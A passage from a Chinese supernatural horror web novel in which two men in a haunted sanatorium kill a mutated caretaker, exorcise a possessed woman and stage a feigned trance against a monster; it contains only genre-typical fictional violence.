他的夜视能力并不算好,在纯粹的黑暗中,几乎与瞎子无异,什么都看不见。 忽然,手腕一热。 一只略带薄茧,骨节分明的大手,准确无误地抓住了他的手腕。 那手掌温热干燥,带着令人安心的粗糙质感,单手便能将他的手腕整个圈住。 力道不容挣脱,却又带着一丝小心翼翼的克制。 “跟着我走,别担心。” 肖靳言低沉而平稳的声音,几乎是贴着他的耳廓响起。 宿珩僵硬的身体微微放松了些许。 一种莫名的安定感从手腕处传来,他没有甩开,任由肖靳言抓着他的手腕,在深不见底的黑暗中前行。 他甚至有些怀疑,肖靳言是不是某种夜行的猫科动物…… 居然能在这种伸手不见五指的黑暗中如履平地,没有发出丝毫多余的声响。 不过,宿珩也在慢慢适应着黑暗,视野渐渐清晰起来,已经差不多能看到一些模糊的物体轮廓。 一楼的走廊里并没有发现什么可疑的东西,但脚下的地面却有些异样。 湿漉漉的,黏糊糊的。 鞋底踩上去,发出轻微的“啪叽”声,像是踩在某种未干涸的浓稠液体上,散发着一股若有似无的甜腥气。 这片黏腻的痕迹,一直从一楼走廊延伸,蜿蜒向上,通往二楼。 两人顺着痕迹来到二楼。 那湿滑的痕迹在201病房门口变得尤为浓重,几乎聚成了一小滩。 颜色在黑暗中显得格外深暗,像是有什么东西在这里驻足了许久,才恋恋不舍地离开。 宋倩今晚要陪着宋明丽,就睡在201里面。 宿珩凝神细听,病房内一片寂静,没有传出任何异常的动静,想来她们暂时应该没事。 两人继续顺着走廊往前。 那黏腻的痕迹最终消失在了203病房的门前。 203的房门虚掩着。 门锁像是被一股巨大的外力硬生生拧断,呈现出一种诡异的扭曲形状,只剩下几根变形的金属条无力地垂着。 门板向内开了一半,里面黑漆漆的一片,看不清任何东西。 但一股浓重至极的甜腥味,却从门缝里争先恐后地扑鼻而来。 肖靳言握着宿珩手腕的五指骤然收紧。 黑暗中,宿珩感觉到身边男人的身体瞬间绷紧,每一寸肌肉都蓄满了力量,如同一头蓄势待发的猎豹,散发着令人心悸的危险气息。 “嗬……嗬……” 一阵微弱而痛苦的,像是被人扼住喉咙的窒息声,断断续续地从门缝里传了出来。 宿珩的心猛地一沉。 他的目光艰难地穿过肖靳言高大坚实的肩背,投向门内那片浓得化不开的黑暗。 隐约间,他看见一个模糊的人影被什么东西高高吊起,双腿在半空中无力地蹬踹、挣扎。 尽管看不清面容,但从那瘦小干瘪的身形和此刻绝望的挣扎来看,除了老根儿,不会是别人。 “退后!” 肖靳言低喝一声。 话音未落,他已松开宿珩的手腕。 漆黑的短刀在暗夜中划过一道冰冷的轨迹,整个人如同一道离弦的箭,悄无声息地撞开了虚掩的房门,率先冲了进去。 宿珩也顾不得会不会暴露位置,几乎是条件反射般,迅速按亮了手机手电筒。 雪白刺眼的光束瞬间撕裂了房间内的黑暗,将里面的景象照得一清二楚。 光束之下,一条布满黏腻液体的细长黑影盘踞在天花板上,正用尾巴紧紧缠绕着老根儿的脖子,将他瘦弱的身体高高吊在半空。 老根儿的脸已经涨成了青紫色,双眼翻白,舌头无力地伸出,四肢微弱地抽搐着。 那东西通体漆黑,身体细长如蛇,却在腹下长着六只短小而狰狞的触肢。 触肢末端闪烁着金属般的寒光,宛如一只被放大了无数倍的蛇蝎怪物。 怪物似乎极为惧光。 被手电筒的光束骤然照到,发出一声尖利刺耳的嘶鸣。 那声音凄厉扭曲,完全不似人类或者任何已知生物所能发出的。 宿珩强忍着耳膜的刺痛,将光束往上移动,最终定格在那怪物丑陋不堪的头部。 当看清那怪物的脸时,他的瞳孔骤然一缩。 那是一张惨白浮肿,五官扭曲的脸。 可即便如此,那眉眼间的轮廓,却依然能依稀辨认出几分,刘晓花的影子。 原来这怪物,竟是异化后的刘晓花! 再看老根儿被吊在半空,脸色青紫,双眼翻白,眼看就要窒息的样子。 宿珩脑中轰然一声,瞬间明白了院长办公室里那具尸体的死因。 院长,恐怕也是被异化后的刘晓花用这种方式活活吊死的! “嗤——” 就在宿珩心神巨震的刹那,肖靳言手中的短刀已悄然划破空气,带起一道凌厉的寒芒,快如闪电般斩向那怪物的一只触肢。 怪物吃痛,发出一声更加凄厉的尖叫,缠绕着老根儿脖子的尾巴猛地一松。 老根儿的身体像个破麻袋,重重地摔落在地,发出一声闷响。 怪物丢开老根儿,庞大而扭曲的身体在地上迅速游窜,竟是毫不恋战,作势就要往门外冲去,试图逃离。 “想跑?” 肖靳言的声音冰冷,不带一丝情绪。 他手腕翻转,短刀脱手而出,在空中划过一道诡异的弧线后,精准地砍断了怪物腰腹之间的一处关节。 “噗嗤!” 一股带着浓烈腥臭的血液,顿时喷溅而出。 怪物发出一声痛苦的嘶吼,身体剧烈地扭动起来。 但求生的欲望却让它强忍着剧痛,速度不减反增,携着一股腥风,猛地冲出了203病房的房门。 宿珩脸色有些发白,嘴唇紧抿,但握着钢管的手却没有丝毫颤抖。 眼看那怪物就要从他面前逃脱,带起的腥风几乎要拂到他的脸上—— 宿珩眼神一凝,握紧钢管的指节因为用力而微微泛白。 他没有后退。 反而迎着那股恶臭,手中的钢管带着尖锐的破风之声,对准怪物那颗与刘晓花有几分相似的头颅,用尽全身力气,眼疾手快地猛刺过去。 异化的刘晓花似乎察觉到了危险,在千钧一发之际,头颅猛地向旁边一偏。 钢管尖锐锋利的顶端险险擦过它的脸颊,却也狠狠刺穿了它的左边肩胛骨,发出一声令人毛骨悚然的骨裂声。 “嘶——” 刘晓花发出一声怨毒的嘶鸣,那双布满血丝的眼珠死死瞪着宿珩,眼神中的怨毒与疯狂,仿佛要将他生吞活剥。 它猛地张开那张布满利齿的嘴,带着一股浓烈的腥臭,朝宿珩的脖颈狠狠咬了下来。 宿珩瞳孔一缩,想要拔出钢管格挡,却发现钢管像是卡在了怪物的骨头里,一时半会儿竟是纹丝不动,抽不出来。 眼看那腥臭的尖牙就要触碰到他的森*晚*整*理皮肤。 “唰!” 一道凌厉无匹的刀光骤然从他身侧掠过。 肖靳言的身影快如鬼魅,不知何时已经冲到了他的身前。 那柄通体漆黑的短刀在他手中仿佛活了过来,自下而上,划出一道完美而致命的弧线,精准而利落地,削掉了刘晓花那颗丑陋狰狞的脑袋。 “噗通。” 怪物的头颅滚落在地,那双怨毒的眼睛依旧大睁着,死不瞑目。 失去头颅的庞大身躯在地上抽搐了几下,便彻底软倒在地,化作一滩不断蠕动的腥臭烂肉。 肖靳言面无表情地收回短刀,锋利的刀身上,没有沾染一丝血迹。 他转过身,走到宿珩面前,深邃的目光落在那张因紧张和后怕而显得过分苍白的脸上。 “没事吧?” 他的声音低沉,带着一丝不易察觉的紧绷和关切。 宿珩摇了摇头,示意自己没事。 他深吸一口气,压下胸口翻涌的恶心感,这才将那根沾染了怪物腥臭液体的钢管从地上拔了出来。 他转身快步走进203病房。 老根儿正蜷缩在墙角,双手死死捂着自己的脖子,喉咙里发出剧烈而痛苦的咳嗽声,身体因为长时间的缺氧,而不住地颤抖。 宿珩走到他身边蹲下,伸手轻轻拍了拍他颤抖的后背。 “没事了,刘晓花……那个怪物已经死了。” 老根儿撕心裂肺地咳了好一阵,才勉强缓过一口气。 他抬起头,那双布满血丝的浑浊眼睛,惊恐地望向门口那滩正在慢慢消散的烂肉,声音沙哑,充满了绝望。 “没用的……她不会死的……” “明天……明天天一亮,她还会活过来的……” 老根儿的身体抖得更厉害了,他神经质地抓住宿珩的衣角,眼神涣散而恐惧。 “就像……就像那两个怪物一样……他们都会活过来的……都会……” 第56章 第 56 章 福山疗养院12 老根儿的话让宿珩心头掠过一阵刺骨的寒意。 他看着老根儿跌跌撞撞地缩回床底深处, 用那床破烂不堪的被子将自己裹得严严实实。 老根儿像被吓破了胆,一个字也不肯再多说,只是一个劲儿地往被子深处缩。 就在两人以为问不出更多东西, 准备离开时,一只干瘦的手忽然从被子里伸了出来,哆嗦着将一样东西丢到了宿珩脚边。 “啪嗒。” 那东西落在地上, 发出轻微的声响。 宿珩借着手机微弱的光亮看去—— 是一副断了腿的眼镜。 镜片已经磨损得不成样子,布满了细密的划痕,金属的镜架也生了锈, 斑驳不堪, 缝隙里甚至还嵌着干涸的土渣。 他弯腰捡起那副眼镜, 眼神微凝。 他认出来了。 这副眼镜的款式,和胡文庭白天戴着的那副金丝边眼镜几乎一模一样。 只是这副显然年代要久远得多, 也破败得多。 宿珩脑海中,瞬间闪过那些被他藏在食堂菜篮里的破烂衣片。 他大概知道,那些被深埋在菜地里的衣服碎片,究竟是谁的了。 如果那些衣物, 连同这副眼镜, 都属于胡文庭和胡文月的话。 那么事情的真相, 或许并非杨桂芬以为的, 被儿女刻意抛弃,而是他们早在多年前, 就已经出了意外。 这个猜测似乎更符合逻辑。 毕竟,从杨桂芬那满屋子视若珍宝的空礼品盒来看, 她的儿女在她记忆中,并非不孝顺的人。 肖靳言也看到了那副眼镜,显然想到了同样的事情, 眼神沉了沉。 两人不再打扰惊恐万状的老根儿,悄无声息地退出了203病房。 随着异化的刘晓花被消灭,之前走廊地面上那些黏腻湿滑的痕迹,此刻已经消失得无影无踪,仿佛从未出现过。 但老根儿的话却像一根刺,扎在宿珩心头。 明天的她,仍会复活。 这恐怕是心门主人赋予她的能力,一种扭曲的规则。 宿珩回想起昨晚走廊上那轻微的脚步声。 如果那也是刘晓花的话,那么她大概率只有在准备杀人的时候,才会异化成那副可怖的怪物模样。 平时的她,或许只是一个被心门力量同化,失去了正常感知,行为举止怪异的普通护工。 两人沉默离开,路过202病房时,宿珩的脚步微微一顿。 他记得很清楚,刚才和肖靳言追着那黏腻痕迹上来的时候,202的房门是紧闭着的。 但现在—— 那扇门却微微敞开了一条极窄的缝隙。 缝隙里漆黑一片,什么都看不见。 然而,宿珩却能清晰地感知到,一股难以言喻的强烈恶意,正从那门缝中丝丝缕缕地渗透出来。 仿佛有一双无形的眼睛,正透过那条缝隙,阴冷地窥视着他,让他如坠冰窟,浑身发冷。 肖靳言显然也察觉到了异样。 他停下脚步,高大的身影挡在宿珩身前半步,一手紧握短刀,另一只手圈住宿珩手腕。 深邃的目光警惕地投向那道门缝。 肖靳言侧过头,压低了声音,用只有两人能听见的音量问宿珩:“你想赌一把吗?” 宿珩对上他沉静的眼神,轻轻摇了摇头, “不了,不冒险。” 他很清楚,门后那两个由杨桂芬执念所化的“孝顺儿女”,一旦异化成怪物,在这狭窄的楼道里,绝对不好对付。 在不清楚对方具体能力的情况下,贸然闯入,并非明智之举。 两人没有在二楼过多停留,直接下了楼。 “如果所有我们能想到的地方,都找不到那张报纸的话……” 宿珩一边下楼,一边低声说道:“那就只剩下最后一种可能了。” 肖靳言跟在他身后,闻言“嗯”了一声,表示明白他的意思。 下午的时候,他几乎将整栋疗养院翻了个底朝天,所有上锁的房间都被他打开看了,但都没有找到那张报纸。 当时他就在想—— 会不会,那东西远在天边,近在眼前。 而昨晚,胡旺祖既然能主动来敲他们的房门,意味着,他是在清醒的时候,特意过来给他们传递线索。 胡旺祖能来第一次,必定会来第二次。 或许…… 他也不想再看着自己的老伴,陷入如此绝望的痛苦之中。 两人没有丝毫犹豫,径直回了一楼的护工房,决定守株待兔。 纯粹的黑暗笼罩在狭小的房间内。 宿珩坐在床沿,肖靳言则靠在门后的墙壁上,两人都没有说话,静静等待着。 时间一分一秒地流逝。 终于,一阵缓慢而轻微的脚步声,突兀地从门外死寂的走廊里响了起来。 那脚步声很轻,带着一种迟疑,最终停在了护工房的门前。 “笃笃笃。” 敲门声响了。 宿珩握紧了手中的手机,准备随时打开手电筒。 肖靳言对着他比了个手势,深吸一口气,猛地拉开了房门。 出乎两人意料的是—— 门外站着的,并非他们预想中的胡旺祖。 而是一脸惨白,神情僵硬的宋倩。 她沉沉地低着头,双手垂在身侧,指尖微微蜷缩着,身体也有些不自然的僵硬。 听到开门声,她缓缓抬起头。 那张原本清秀的脸庞此刻雪白得没有一丝血色,像是覆了一层寒霜。 一双眼睛空洞无神,正直勾勾地盯着开门的肖靳言。 她浑身上下都散发着一股令人心悸的阴冷寒气。 下一瞬,宋倩的喉咙里发出一声不似人声的尖利嘶鸣,猛地抬起双手,恶狠狠地朝着肖靳言的脖子掐了过去。 肖靳言眉头猛地一蹙,反应极快地侧身躲过。 宋倩一击不成,身体因为惯性一个踉跄,竟直接冲进了护工房内。 “砰!” 宿珩眼疾手快,飞起一脚踹上了房门,同时反手将门锁死。 几乎在同一时间。 肖靳言已经欺身而上,动作干净利落,直接一个擒拿,将状若疯狂的宋倩死死按在了冰冷的水泥地上。 “放开我!放开!” 宋倩尖叫着,声音尖锐刺耳,带着一种非人的扭曲。 她的力气大得出奇,在肖靳言的压制下依旧疯狂挣扎,喉咙里发出野兽般的喘息声。 肖靳言的眉头皱得更紧,手臂上的肌肉贲张,如同铁钳一般,将她牢牢控制住,让她动弹不得。 宿珩眉色凝重地上前,手机手电筒的光束照在宋倩那张扭曲的脸上。 “她似乎……被什么东西附身了。” 宿珩看着宋倩空洞而充满恶意的眼神,沉声说道。 肖靳言“嗯”了一声,“应该只是被心门的力量影响了,暂时附身,影响不大。” 他不再犹豫,腾出一只手,干净利落地一个手刀劈在宋倩的后颈,力道控制得恰到好处。 宋倩尖锐的叫声戛然而止,身体一软,瞬间晕了过去。 肖靳言没有丝毫停顿,用那柄通体漆黑的短刀,在自己左手中指指腹上轻轻一划。 殷红的血珠立刻冒了出来。 他面不改色,迅速挤出一滴鲜血,精准地点在了宋倩的眉心。 霎时间,一股肉眼可见的黑色雾气,猛地从宋倩的口鼻耳中争先恐后地钻了出来。 那黑雾带着一股刺骨的阴冷气息,在空中扭曲了几下,便如同暴露在阳光下的冰雪,迅速消散得无影无踪。 随着黑雾的散去,宋倩紧蹙的眉头渐渐舒展开来,脸上那股非人的狰狞也随之褪去,恢复了些许正常的血色。 房间里那股令人窒息的阴冷寒气也消散了不少。 宿珩看着肖靳言还在往外渗血的手指,目光微微闪动了一下。 在等待宋倩苏醒的间隙,他忽然开口,带着丝困惑问道:“中指血,代表人体阳气最盛。” “不过,这种方法,一般不是说要处子之身才有用吗?” 肖靳言闻言,正低头检查宋倩情况的动作一顿。 他缓缓抬起头,挑了挑眉。 那双深邃的眸子在昏暗的光线下,似笑非笑地看着宿珩,嘴角勾起一抹略带玩味的弧度。 “我27岁,还是处男怎么了?” 他的声音带着一丝戏谑,“我骄傲了吗?” 宿珩:“……” 他默默地移开了视线。 决定不再跟这个时不时就没个正经的人讨论这种问题。 …… 过了约莫半个小时。 地上原本昏迷不醒的宋倩睫毛轻轻颤动了几下,发出一声低低的呻/吟,幽幽转醒。 她茫然地睁开眼,视线还有些模糊。 当看清自己身处一个陌生的昏暗房间,旁边还站着宿珩和肖靳言两个大男人时,她倏地倒抽一口冷气,吓得立即清醒。 宋倩手忙脚乱地从地上爬起来,警惕地后退几步,声音带着一丝颤抖。 “我……我怎么会在这里?你们……” 肖靳言双手抱胸,好整以暇地看着她,语气淡淡:“鬼知道……你好好想想,之前在201,到底发生了什么事?” 宋倩听了肖靳言的话,努力回想之前发生的事,眉头不自觉地拧了起来。 她努力回忆着。 过了一会儿,她像是想起了什么极为恐怖的事情,脸色骤然变得惨白,眼神中充满了惊恐。 “我……我刚刚在病房里陪着我妈,实在太困了,就趴在床边睡着了。” 她的声音后知后觉变得有些发冷。 “迷迷糊糊间,我好像听到有个女人的声音在喊我,很轻……我努力想睁开眼,但周围一片漆黑,什么都看不见。” “我以为……我以为是自己太累了,出现了幻听,就想继续睡。” “可是,就在那个时候,我突然感觉到,有人在我耳边……吹了口气!” 宋倩说到这里,身体控制不住地哆嗦了下,像是又回到了那个可怕的瞬间。 “那口气冰冷刺骨,紧接着,一个女人的声音,几乎是贴着我的耳朵,喃喃地喊了一声我的名字……然后,然后我就什么都不知道了。” 听到这话,肖靳言“啧”了一声,摸了摸下巴,眼神多了几分凝重。 “能直接操控人心,是有点棘手。” 宋倩焦急万分,也顾不上害怕了,急切地问道:“那现在怎么办?我妈……我妈还在201,她一个人在那里,我不放心!” 她说着,便要往外走。 “等等。”宿珩却拦住了她。 他看着宋倩焦灼的脸,缓缓开口:“现在外面不安全,你贸然回去,只会更危险。你母亲若真有事,现在回去也晚了,你先在这里凑合一晚,明天天亮了再说。” 宋倩虽然心急如焚,但她也明白宿珩说的是事实。 刚才那种诡异的经历,让她现在想起来还心有余悸。 她咬了咬下唇,最终还是点了点头,答应了下来。 宿珩看了她一眼,默不作声地指了指自己之前睡的那张铁架床。 “你睡这儿。” 然后,他破天荒地主动走到了肖靳言的床边,在昏暗的光线下,轻轻拍了拍肖靳言搭在床沿的大腿。 “让点位置。”他低声说道。 肖靳言正靠在床头闭目养神。 听到动静,他睁开眼,见宿珩站在自己床边,先是有些意外,接着便笑了,眼里也有了暖意。 他对宿珩这突如其来的“主动”感到十分欣慰。 他往墙角的位置缩了缩,空出了大半个床位,然后拍了拍身边的空位,示意宿珩躺下。 “来吧,保证比你那张床舒服。” 宿珩这次没有再表现出丝毫的抗拒或者不自在,他沉默着,和衣在肖靳言身边躺了下来。 铁架床因为两个成年男人的重量,发出一阵不堪重负的“吱呀”声。 两人挨得很近,宿珩甚至能清晰地感受到从肖靳言身上传来的温热体温,以及他平稳有力的心跳。 宿珩的呼吸声在黑暗中很轻,肖靳言静静听着,不由得又笑了笑,觉得这样很好。 他拿起自己搭在床尾的黑色冲锋衣,轻轻展开,盖在了两人身上。 不知不觉,一夜安然过去。 第二天一大早,天刚蒙蒙亮。 “砰砰砰!” 护工房的门板突然被人从外面重重砸响,力道之大,仿佛要将整扇门都拆下来一般。 紧接着,刘晓花那尖锐刻薄,充满怒气的声音便从门外传了进来。 “都几点了还睡!一个个的都给我起来,别想偷懒!” “赶紧去把整个疗养院的卫生都给我打扫干净!里里外外,角角落落,我要一丝灰尘都看不见!” “听见没有!” 她的声音比昨天更加尖利刺耳,充满了不加掩饰的怨毒和怒火。 宿珩和肖靳言几乎在砸门声响起的第一时间就睁开了眼睛。 刘晓花果然复活了。 而且,她显然还记恨着昨晚被“杀死”的事情,这是明摆着在泄私愤,故意找茬。 肖靳言面无表情地起身下床,宿珩也跟着坐了起来。 肖靳言走到门边,慢条斯理地拉开了房门。 他高大挺拔的身影瞬间笼罩在门口,带着一股迫人的气势。 门外的刘晓花正准备继续砸门,冷不防门突然开了。 她瞧见肖靳言冷峻的脸和那双看不透情绪的眼睛,手上的动作顿时停住了,气焰也矮了半截。 昨晚被这个男人一刀砍掉脑袋的恐惧重新冒了上来,让她不由自主地打了个寒噤。 刘晓花下意识地往后退了一大步,脸上闪过一丝难以掩饰的惊惧和忌惮。 但她很快又强装镇定,色厉内荏地哼了一声:“看什么看!还不赶紧去干活!要是让我发现你们偷懒,有你们好看的!” 撂下这句狠话,她也不敢再多停留,转身便急匆匆地走了。 肖靳言当然没打算搭理她这无理取闹的要求。 宿珩也从房间里走了出来。 几乎在同时。 宋倩被这动静吵醒,听到刘晓花的声音,神色一紧,立刻从床上下来,急急忙忙跑向二楼201,显然是担心她母亲的情况。 肖靳言没管她,走到隔壁,抬手敲了敲杂物间的门。 “徐医生,醒了吗?” 过了一会儿,里面才传来徐林致带着浓浓鼻音,迷迷糊糊的回应:“嗯……醒了。” 声音听起来像是刚从睡梦中被吵醒,还带着几分茫然。 确认徐林致没事后,宿珩和肖靳言对视一眼,一前一后走出了疗养院的大门。 外面,天色重新恢复了那种令人压抑的灰蒙状态。 疗养院的院子里。 杨桂芬罕见地换上了一身宽松的运动服,精神矍铄地在院子中央那片小空地上活动着手脚,做着类似广播体操的动作。 她的脸上带着那种标志性的,略显夸张的幸福笑容。 胡文庭和胡文月一左一右地陪在她身边,脸上依旧挂着温和得体的微笑,时不时还柔声细语地提醒杨桂芬注意动作幅度,别闪到腰。 而胡旺祖,则仍旧坐在那张老旧的轮椅上,被推到院子角落的树荫下。 与昨天不同的是—— 此刻他的身上,竟然被一条粗麻绳从胸前到大腿,牢牢地捆在了轮椅的靠背和扶手上,绳子勒得很紧,让他动弹不得。 胡旺祖低垂着头,花白的头发乱糟糟的,看不清脸上的表情,整个人显得异常沉默和颓唐。 杨桂芬似乎注意到了宿珩和肖靳言的目光。 她像是忘了昨天发生的不愉快,停下动作,脸上笑容不减,耐心地解释了句: “哎,你们别见怪啊。” “旺祖他这阵子啊,时不时就犯糊涂,尤其是晚上,总喜欢一个人到处乱跑,我们又担心他摔着碰着。” 她叹了口气,脸上露出一丝无奈又带着点宠溺的表情。 “这不,没办法了,才想着把他暂时捆在轮椅上,这样他也安全,我们也能放心点。” 胡文庭和胡文月也跟着点了点头,附和着母亲的话,看向胡旺祖的眼神里,充满了关切和担忧。 这一幕,在灰蒙蒙的天色映衬下,显得无比和谐,却又透着一股说不出的诡异和冰冷。 宿珩终于明白,为什么昨晚没有等到胡旺祖敲门了。 原来是被杨桂芬捆在了轮椅上。 第57章 第 57 章 福山疗养院13 宿珩的目光落在被牢牢捆在轮椅上的胡旺祖身上。 那是一种近乎屈辱的束缚。 老人被剥夺了行动自由, 神情萎靡,像一株被强行弯折了枝干的老树。 这幅景象,让宿珩心中莫名一动, 他想起一件被自己忽略了许久的事情。 他迈步走进院子,目光在那些生满了锈痕,螺丝松动的健身器材上扫过, 仿佛只是在例行检查这些废铜烂铁的安全性。 脚下的步伐却未停,一步步从容地踱向正在活动手脚的杨桂芬。 宿珩状似不经意地在她身边停下,神情自若地问了一句:“杨阿婆, 胡大爷这健忘的毛病, 是什么时候开始的?” 杨桂芬正舒展着手臂, 闻言动作一顿,脸上的笑容淡了几分, 随即化为一声长长的叹息,带着几分愁绪。 “哎,也就是最近这半年的事儿。” 她垂下眼,声音也低了些。 “一开始只是偶尔忘事, 后来就越来越糊涂, 时好时坏的……有时候啊, 连我这个老婆子是谁, 他都记不住了。” 她摇了摇头,语气里充满了无奈和心疼, “医生说是老年痴呆的迹象,这病啊, 也没什么好法子。” 半年前。 宿珩心中某个被忽略的点,瞬间清晰起来。 他之前一直觉得奇怪的地方,此刻像是被一道微光照亮, 豁然开朗。 七年前的绝望是开端,那份绝望和怨念如同温水煮青蛙般缓慢累积,日日夜夜都在蚕食着杨桂芬的心智。 直到半年前,胡旺祖开始出现老年痴呆的迹象。 被儿女“抛弃”的孤独,和相濡以沫的老伴也渐渐将自己遗忘的恐惧—— 这双重的打击,如同压垮骆驼的最后一根稻草,让她再也承受不住。 日积月累的绝望彻底爆发。 或许正因如此,最终才催生了这扇固若金汤,囚禁所有人的“心门”。 宿珩的目光再次投向胡旺祖。 白天的他,永远是那副痴痴傻傻,口水横流的模样。 脖子上系着一块洗得发白的口水巾,口水不受控制地顺着他松弛的嘴角淌下,将胸前的布料洇湿了一大片。 宿珩的视线在那块口水巾上短暂停留。 口水巾脏得有些过分。 边缘的布料像是被口水长年累月地浸透,留下了难以去除的痕迹,呈现出一种不自然的僵硬感,几乎包浆了一般。 只是为何杨桂芬从不帮他清洗? 宿珩的注视,似乎引起了胡旺祖的反应。 他缓缓抬起头,布满老年斑的脸上咧开一个傻乎乎的笑容,更多的口水从他嘴角流淌下来,将口水巾打湿的痕迹,又晕染得大了几分。 宿珩的目光,倏然凝在了那块湿漉漉的口水巾最下沿。 那里的僵硬感尤为明显,不像是单纯的污渍凝结,更像是…… 里面藏匿着什么扁平的、有一定厚度的对象。 就在这时—— 一直安静站在杨桂芬身旁的胡文庭,却忽然迈步上前,动作自然地推起了胡旺祖的轮椅。 他脸上依旧是那副温和有礼的笑容,只是那笑容显得有些刻板僵硬,像是用尺子量出来的一般。 “爸,外面风有些凉了,我们还是回屋里休息吧。” 说这句话时,胡文庭的眼神不着痕迹地掠过宿珩。 他像是没留意到,明明院子里闷热无风,连各人额前的发丝都纹丝不动。 胡文庭这个看似体贴的举动,却透着一股说不出的刻意,反而让宿珩心中一凛。 一个大胆而近乎确定的念头在他脑海中浮现—— 那张他们遍寻不获,记载着七年前真相的关键报纸,会不会就藏在胡旺祖的身上? 甚至。 就藏在那块看似普通的口水巾里。 胡旺祖被胡文庭推着,轮椅轱辘压过水泥地面,发出轻微的滚动声,朝着疗养院大楼门口走去。 经过肖靳言身边时,肖靳言不着痕迹地侧了侧身,让开了路,目光在胡文庭推着轮椅的双手上停顿了一瞬。 那双手苍白而修长,指节却有些不自然的凸起,像是骨裂后又重新长了回来,极不协调。 胡文庭僵硬地扯起嘴角,对着他礼貌地点了点头,说了声“谢谢”。 随后便推着轮椅,和胡旺祖一同消失在了一楼那片幽暗的阴影之中。 在楼梯口的位置,胡文庭解开捆在轮椅上的麻绳,囫囵套在胡旺祖脖子上,接着将他从轮椅上搀扶起来,扶着上了二楼,背影很快消失在楼梯拐角。 另一边。 宿珩收回目光,拍了拍手上因为检查器材而沾染上的铁锈,正准备转身离开院子。 “这位小哥……” 一个轻柔的女声忽然自身后响起,“等一下。” 宿珩脚步一顿,回过头。 胡文月不知何时已悄然站在了他身后不远处,脸上带着与胡文庭如出一辙的温婉笑容。 只是那笑容不及眼底,像一张完美的面具,牢牢焊在脸上,透着一股莫名的寒意。 她红唇轻启,声音轻飘飘的,带着一丝异样的甜腻。 那声音像某种奇异的钩子,又像是直接在人的耳廓最深处响起,盘旋不去,带着一种难以言喻的蛊惑意味。 “待会儿有时间吗?” 她歪了歪头,眼神天真无邪。 “我想……和你单独聊聊。” 听到这声音,宿珩眼神出现了片刻的空洞,仿佛陷入了一片迷蒙的雾气之中,瞳孔深处闪过一丝难以捕捉的恍惚。 但那丝恍惚转瞬即逝。 他的眼神很快恢复了惯有的平静与清冷,只是被垂下的漆黑眼睫,藏得更深。 面对逐步靠近的胡文月,宿珩神情不变,仍维持着方才刹那间的呆滞,看上去真像是被声音迷惑,失了方寸,无法思考。 站在不远处的肖靳言,几乎在胡文月开口的瞬间,就察觉到了不对。 那女人声音里的猫腻,瞒不过他。 昨晚,她就是用类似的方法,试图蛊惑并操控宋倩的神智。 今天又想当着他的面,故技重施,把主意打到宿珩身上? 当他是死的吗? 肖靳言黑沉的眼底骤然囤聚出一片冷霜,周身的气息也随之沉了下来,他刚要迈开大步走过去—— 脚步却忽然止住。 他看着宿珩那副神色木然的模样,心中念头急转。 以宿珩那变态的精神力强度和那颗七窍玲珑心,绝不可能这么轻易就被这种低级的精神蛊惑影响。 除非…… 肖靳言的嘴角微微牵动了一下,露出一抹洞悉的笑容。 这小子,演技见长啊。 他这是……在将计就计。 …… 宿珩的眼神空洞,像是一个提线木偶,被无形的力量牵引着。 他没有回应胡文月的邀请,只是保持着那种略显呆滞的神情,身体却顺从地转向了她。 胡文月脸上的笑容更深了,那份甜腻感也随之加重。 她轻轻地牵起宿珩的手,那双手冰冷而滑腻,没有一丝属于人类的温度。 “来吧,跟我来。” 她的声音轻柔得不可思议,像羽毛一样拂过耳畔,却带着一种令人无法抗拒的引力。 宿珩任由她牵着,脚步机械地跟着她,朝着一楼的护工房走去。 肖靳言站在院子里,看着宿珩被胡文月牵走,虽然明知他是装的,但那副任由摆布的乖巧模样,却让他手指微微收紧。 尤其还牵上手。 啧。 更不爽了。 宿珩跟着胡文月回到了护工房。 一进门,胡文月便松开了他的手,反手将护工房的门“砰”地一声关上。 门合拢的瞬间。 她脸上的温婉笑容如同潮水般迅速褪去,取而代之的是一种令人毛骨悚然的冷漠和扭曲。 那双原本正常的瞳孔,此刻已经完全被一种纯粹的深邃黑色所取代。 没有任何光彩,如同两个幽深的黑洞,透着一股非人的诡异。 她一步步走向宿珩,每一步都带着一种黏腻而沉重的压迫感。 “你可以告诉我,你们……在找什么吗?” 胡文月的声音不再甜腻,变得低沉而沙哑,带着一种不属于她的质感,仿佛是两个声音重叠在一起发出的。 她伸出手,一把将宿珩按在了旁边的铁架床上。 冰冷的床铺发出不堪重负的呻/吟。 胡文月俯下身,那张惨白而扭曲的脸贴近宿珩的耳廓,冰冷的呼吸喷洒在他的皮肤上。 “告诉我……你们在找什么?” 她又问了一遍,声音带着一种执着的探究,像是要将宿珩的灵魂都挖出来一样。 宿珩依旧维持着那副木然的模样,眼神失去焦距,慢吞吞地回答:“我们在……找离开这里的办法。” 胡文月闻言,发出一声刺耳的怪笑,那笑声像指甲刮擦玻璃一样难听。 “离开这里?” 她直起身子,那双漆黑的瞳孔死死盯着宿珩。 “这里很好啊,为什么要离开?” 她的声音再次变得轻柔,却透着一股更加强烈的蛊惑意味。 “在这里,你们可以忘记外面的一切,没有烦恼,没有痛苦,和我们一起生活在这里……多好啊。” 胡文月看着宿珩那张漂亮到近乎完美的脸,那张脸在昏暗的光线中显得更加苍白,却也更加吸引人。 一种贪婪的欲望在她眼中闪过,她忍不住伸出舌头,舔了舔自己发干的嘴唇。 “你看,你长得这么好看……” 胡文月的声音低了下来,带着一种令人作呕的黏腻感,“留下来陪我,好不好?” 她沉浸在蛊惑宿珩的快乐中,一遍遍地低声呢喃,想让他放弃外面的世界,沉沦在这扇心门之中。 她的身体慢慢靠近,似乎想要触碰宿珩。 宿珩的表情没有丝毫变化,眼神中连一丝情绪波动都没有。 然而—— 就在胡文月完全沉醉于自己的诱惑,放松警惕的刹那,宿珩放在身侧的手指却悄无声息地动了。 他缓移手指,默默抓住了被他靠在床头的那根钢管,那根被肖靳言削尖了顶端,闪烁着幽幽寒光的钢管。 胡文月越靠越近,根本没有注意到他的细微动作。 宿珩的手终于紧紧握住了钢管,指节因为用力而微微泛白。 就在胡文月的手即将触碰到他的脸时,宿珩的眼神骤然恢复了清明。 他猛地抬头,那双清冷的眸子直直地看向胡文月那双漆黑诡异的眼睛。 “我不想和你待在这儿。” 宿珩喉咙间发出一声极轻的哂笑。 胡文月脸上的表情立刻凝固了,漆黑的瞳孔中闪过一丝诧异。 她似乎无法理解,为什么宿珩没有被她的蛊惑影响。 “为什么?” 她沙哑着声音问道。 宿珩看着她,眉眼间带着一丝与之前截然不同的冷淡和疏离。 “因为……” 他顿了顿,在胡文月惊诧的目光中,平静地吐出了几个字。 